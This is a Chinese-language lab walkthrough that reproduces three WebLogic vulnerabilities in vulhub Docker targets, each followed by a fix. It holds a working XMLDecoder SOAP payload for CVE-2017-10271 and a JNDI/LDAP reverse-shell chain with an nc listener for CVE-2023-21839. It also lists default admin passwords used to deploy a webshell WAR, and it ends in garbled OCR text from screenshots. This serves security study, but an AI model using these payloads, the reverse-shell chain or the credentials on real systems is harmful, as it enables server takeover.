一、WebLogic
[image: ]
WebLogic 是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
二、CVE-2017-10271
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
主要由wls-wsat.war触发该漏洞，触发漏洞url如下： http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包，通过构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。
影响范围
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞原理
漏洞出现在wls-wsat.war中，该组件使用了weblogic自带的webservices处理程序来处理SOAP请求。
SOAP（简单对象访问协议，是基于 XML 格式的 Web 服务通信协议，多用于 WebService 接口，常见于旧 Java 系统、WebLogic、JBoss。
- 底层可以跑在 HTTP 上；请求体全部是 XML 数据。
- 和普通 HTTP JSON 接口不一样：body 是完整 XML 报文。
然后在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据传递给XMLDecoder来解析。
解析XML的调用链为：
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./weblogic/CVE-2017-10271/
root@ubuntu:~/vulhub/weblogic/CVE-2017-10271# docker compose up -d
[image: ]
[image: ]
访问路径：漏洞可能出现的路径，向以下路径发送xml payload均可以触发漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
[image: ]
抓取数据包并进行修改：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.4:7001
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/maolin</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
[image: ]
返回容器内查看是否有新创建文件
[image: ]
修复建议
升级版本
三、CVE-2023-21839
漏洞描述
WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功后，WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
T3协议：T3 是 WebLogic 私有专有协议，WebLogic 自己开发，用于 RMI、JNDI、集群通信、Java 客户端和服务端交互，传输二进制数据，报文内部携带 Java 序列化对象。
IIOP 协议：CORBA 国际标准公开协议，不是 WebLogic 私有；用来实现跨语言远程对象调用（Java、C++ 等），WebLogic 实现 RMI‑IIOP，允许通过 IIOP 做 Java 远程调用，同样会对传入数据做 Java 反序列化。
值得注意的是：两个协议都是跑在7001 端口 TCP，不是 HTTP 协议，浏览器无法访问；协议内部传输 Java 序列化对象。
RMI（Remote Method Invocation，Java 远程方法调用）：允许一台 JVM 上的 Java 程序，调用另一台 JVM 上的 Java 对象方法，跨机器调用 Java 代码。
JNDI 不是网络协议，是 Java 一套统一查询 API，可以访问多种目录服务：RMI、LDAP、DNS、JDBC 等，核心方法：InitialContext.lookup("地址")，传入一个字符串地址，去远程服务查找对象。
lookup 的参数如果是攻击者可控，就会产生 JNDI 注入漏洞。
JVM 是运行 Java 字节码  .class文件的虚拟机
JDK = JDK 编译器javac + JRE（JVM + 类库），开发 Java 程序用；
JRE = JVM + Java 基础类库，只运行 class，没有 javac 编译器；
JVM：仅仅是虚拟机，负责解析执行 class 字节码。
影响范围
2.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞复现
进入靶场环境，启动容器：
root@ubuntu:~/vulhub# cd ./weblogic/CVE‑2023‑21839
root@ubuntu:~/vulhub/weblogic/CVE‑2023‑21839# docker compose up -d
访问靶场的console口，http://192.168.124.130:7001/console/
[image: ]
windows 下载netcat ：https://eternallybored.org/misc/netcat/
netcat 简称 nc，被称为网络界的 “瑞士军刀”，是跨平台的网络工具，Linux/macOS/windows 都可以使用， 主要做 TCP/UDP 的连接、监听、端口扫描、传输数据、反弹 shell。
netcat分为两种模式：客户端模式（连接别人）与 服务端模式（本机开启端口监听，等待别人连过来）
常用命令：
-n   # 不做域名解析，直接IP
-v   # 详细输出，显示连接信息
-z   # 端口扫描，只探测端口通不通，不发送数据
-l   # 开启监听模式（做服务端）
-p   # 指定监听端口
-e   # 连接成功后执行程序（反弹shell核心参数，部分版本不支持）
首先搭建LDAP服务：
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机器ip地址
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.124.128
C:\Users\lin\Desktop\WebLogic>java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.124.128
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...
[image: ]
接着在攻击机器中启动监听端口：
nc -lvnp 端口
C:\Users\lin\Desktop\WebLogic>nc64.exe -lvnp 8889
listening on [any] 8889 ...
[image: ]
最后攻击机器执行exp：
java -jar Weblogic-CVE-2023-21839.jar 靶场IP:7001 ldap://ldap服务器IP地址:1389/Basic/ReverseShell/ldap服务器IP地址/nc监听端口
java -jar Weblogic-CVE-2023-21839.jar 192.168.124.130:7001 ldap://192.168.124.128:1389/Basic/ReverseShell/192.168.124.128/8889
[image: ]
查看nc监听状态，反弹shell成功：
[image: ]
进入靶机容器查看
[image: ]
修复建议
目前厂商已发布升级补丁以修复漏洞；
缓解方式禁用 T3 及 IIOP。
四、弱口令
漏洞描述
weak_password，WebLogic 管理控制台/console，管理员未修改默认账号密码，或者设置简单弱口令。
攻击者可直接登录后台，部署恶意 war 包，上传 JSP Webshell，实现服务器远程代码执行，获取服务器控制权。
影响范围
WebLogic 全版本，只要控制台账号为弱口令 / 默认密码就受影响
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd vulhub/weblogic/weak_password
root@ubuntu:~vulhub/weblogic/weak_password# docker compose up -d
访问目标控制台地址，http://虚拟机IP:7001/console
[image: ]
常见弱口令：
weblogic/Oracle@123
system/password
weblogic/weblogic
admin/secruity
joe/password
mary/password
system/sercurity
wlcsystem/wlcsystemweb
找到可以部署war的功能点
[image: ]
[image: ]
[image: ]
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后续默认全部下一步直到完成，保存
[image: ]
部署结束
[image: ]
访问木马地址
[image: ]
[image: ]
修复建议
修改管理账号密码，使用高强度密码（大小写 + 数字 + 特殊字符，长度≥12 位），禁用默认弱口令；
开启账号锁定策略：多次密码错误锁定账号，抵御暴力破解；
禁止公网暴露 7001 管理端口，防火墙限制仅内网运维 IP 访问控制台。
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S:\vulhub\vulhub\weblogic\CVE-2017-10271>docker compose up -d
[+] Running 18/18
wweblogic Pulled
w6599cadaf950 Pull complete
23eda618du451 Pull complete
wf0be3084efe9 Pull complete
w52deld32f084b Pull complete
wa3ed95caeb02 Pull complete
wa2318f26c625 Pull complete
wlaa6d2dd8ccl Pull complete
wb307208f8bf5 Pull complete
w1dfbbdccl97d Pull complete
wa53e674a7606 Pull complete
w5f06bb51fa3c Pull complete
wFfOFf72567f2 Pull complete
681862046025 Pull complete
wabbf8du475455 Pull complete
w8U48ebllef74U Pull complete
2f3438+2b83b Pull complete
8e5871e15571 Pull complete
[+] Running 2/2
wNetwork cve-2017-10271_default Created
wContainer cve-2017-10271-weblogic-1 Started

S:\vulhub\vulhub\weblogic\CVE-2017-10271>docker ps
CONTAINER ID IMAGE COMMAND CREATED
1757857e17e3 vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 47 seconds ago

S:\vulhub\vulhub\weblogic\CVE-2017-10271>

STATUS
Up 47 seconds

PORTS
0.0.0.0:7001->7001/tcp, [::]:7001->7001/tcp

NAMES
cve-2017-10271-weblogic-1
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RS
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RS
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< C  AFze 192168147001

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server does not wish to make this information available to the client, the status code 403

(Forbidden) can be used instead. The 410 (Gone)
knows, through some internally configurable mechanism,

that an old resource is permanently unavailable and has no forwarding address.
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A FZze  192.168.1.4:7001/wis-wsat/CoordinatorPortType

Web Services
Endpoint Information
. . Address: http://192.168.1.4:7001/wls-wsat/CoordinatorPortType
Service Name: {http://schemas.xmlsoap.org/ws/2004/10/wsat}WSAT10Service .
) WSDL: http://192.168.1.4:7001/wls-wsat/CoordinatorPortType?wsdl
Port Name:  {http://schemas.xmlsoap.org/ws/2004/10/wsat}CoordinatorPortTypePort . N N n
Implementation class: weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortimpl
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POST /wls-wsat/CoordinatorPortType HITP/1.1

Host: 192.168. 1. 4:7001

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0
Comnection: close

Content-Type: text/xml

Content-Length: 598

<(soapenv:Envelope xmlns:soapenv="http://schemas. xmlsoap. ore/soap/envelope/”>
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea. com/2004/08/soap/workarea/">
<java version="1.4.0" class="java. beans. XMLDecoder”>
<void class="java. lang. ProcessBuilder”>
array class="java. lang. String” length="3">
<void index="0">
(string>
/bin/bash
</string>
</void>
<void index="1">
(string>
-
</string>
</void>
<void index="2">
(string>
touch /tmp/maolin < m—
</string>
</void>
</array>
<void method="start”/>
</void>
</java>
</work:WorkContext>
</soapeny:Header>
<soapenv:Body/>
</soapeny:Envelope>

Response
= | Pretty Raw Hex Render

1
3
4
5
6

o

HTTP/1.1 500 Internal Server Error
Comnection: close
Date: Fri, 31 Oct 2025 03:

109 GMT

Content-Type: text/xml; charset=utf-8

X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 5387

<7xml version="1.0" encoding="UTF-8' ?>
<S:Envelope xmlns:S="http://schemas. xnlsoap. org/soap/envelope/”>

<8:Body>

<S:Fault xmlns:ns4="]

<faultcode>
S:Server
</faultcode>
<faultstring>
0
{/faultstring>
<detail>

http: //www. w3. org/2003/05/soap-envelope”>

<ns2:exception xmlns:ns2="http://jax-ws. dev. java.net/” class="

Jjava. lang. ArrayIndexOut0fBoundsException” note="To disable this feature, set
com. sun. xml. ws. fault. SOAPFaultBuilder. disableCaptureStackTrace system property to false”
>
(message>
0
/message>
<ns2:stackTrace>

<ns2:frame class="com. sun. beans. ObjectHandler” file="ObjectHandler. java” line=
139" method="dequeueResult”/>ns2:frame class="java. beans. XMLDecoder” file="

XMLDecoder. java” line="206" method="readobject”/><ns2:frame class="

weblogic. wsee. workarea. WorkContextXmlInputAdapter” file="

WorkContextXml InputAdapter. java” line="111" method="readUTF"/>(ns2:frame class
="weblogic. workarea. spi. WorkContextEntryIupl” file="WorkContextEntrylmpl. java”
1ine="92" method="readEntry”/><ns2:frame class="

weblogic. workarea. WorkContextLocalMap” file="WorkContextLocalMap. java” line="
179" method="receiveRequest”/><ns2: frame class="

weblogic. workarea. WorkContextlapImpl” file="WorkContextMapImpl. java” line="163
" method="receiveRequest”/><ns2: frame class="

weblogic. wsee. jaxws. workcontext. WorkContextServerTube” file="

WorkContextServerTube. java” line="7T1" method="receive”/><ns2:frame class="

weblogic. wsee. jaxws. workcontext. WorkContextTube” file="WorkContextTube. java”
S .
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S:\vulhub\vulhub\weblogic\CVE-2017-10271>docker exec -it 1757857e17e3 bash
root@1757857el17e3:~/0racle/Middleware# cd /tmp
root@1757857el17e3: /tmp# pwd
/tmp
root@1757857el7e3: /tmp# 1s -1
total 20
drwxr-xr-x 3 root root 4096 May 16 2016 beal061393648233859820.tmp
-rw-r—-r—— 1 root root 376 May 16 2016 cookie.txt
drwxr-xr-x 1 root root 4696 Oct 31 03:48 hsperfdata_root
drwxr-xr-x 2 root root 4096 May 16 2016 packages
drwxr-x--- 3 root root 4096 May 16 2016 wlstTemproot
root@1757857el7e3: /tmp# 1s -1
total 20
drwxr-xr-x 3 root root 4096 May 16 2016 beal061393648233859820.tmp
-rw-r—-r—— 1 root root 376 May 16 2016 cookie.txt
drwxr-xr-x 1 root root 4696 Oct 31 03:48 hsperfdata_root

1

2

—rw-r- root root © Oct 31 03:53 maolin
drwxr-xr-x 2 root root 4096 May 16 2016 packages
drwxr-x--- 3 root root 4696 May 16 2016 wlstTemproot
root@1757857el7e3: /tmp#
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C: \Users\1lin\Desktop\WebLogic> java —jar JNDIExploit-1.4-SNAPSHOT. jar i 192.168.124. 128
[+] LDAP Server Start Listening on 1389.
[+] HTTP Server Start Listening on 3456.
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C:\Users\in\Desktop\WebLogiconcsd. exe ~lvnp 8889
listening on [any] 8889 .
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C: \Users\lin\Desktop\WebLogic>java -jar Weblogic-CVE-2023-21839. jar 192.168.124.130:7001 ldap://192. 168. 124. 128:1389/Basic/
ReverseShel1/192. 168. 124. 128/8889

C: \Users\lin\Desktop\WebLogic>
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[oracle@fe5cfcb68d21 base_domain]$ whoami
joami

racle

[oracle@fe5cfch68d21 base_domain]$ pwd
d

u01/oracle/user_projects/domains/base_domain
loracle@fe5cfch68d21 base domainl$
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[[oracle@fe5cfcb68d21 ~1$ whoami
oracle

[[oracle@fe5cfcb68d21 ~1$ pwd
/u@l/oracle
[oracle@fe5cfcb68d21 ~1$ i
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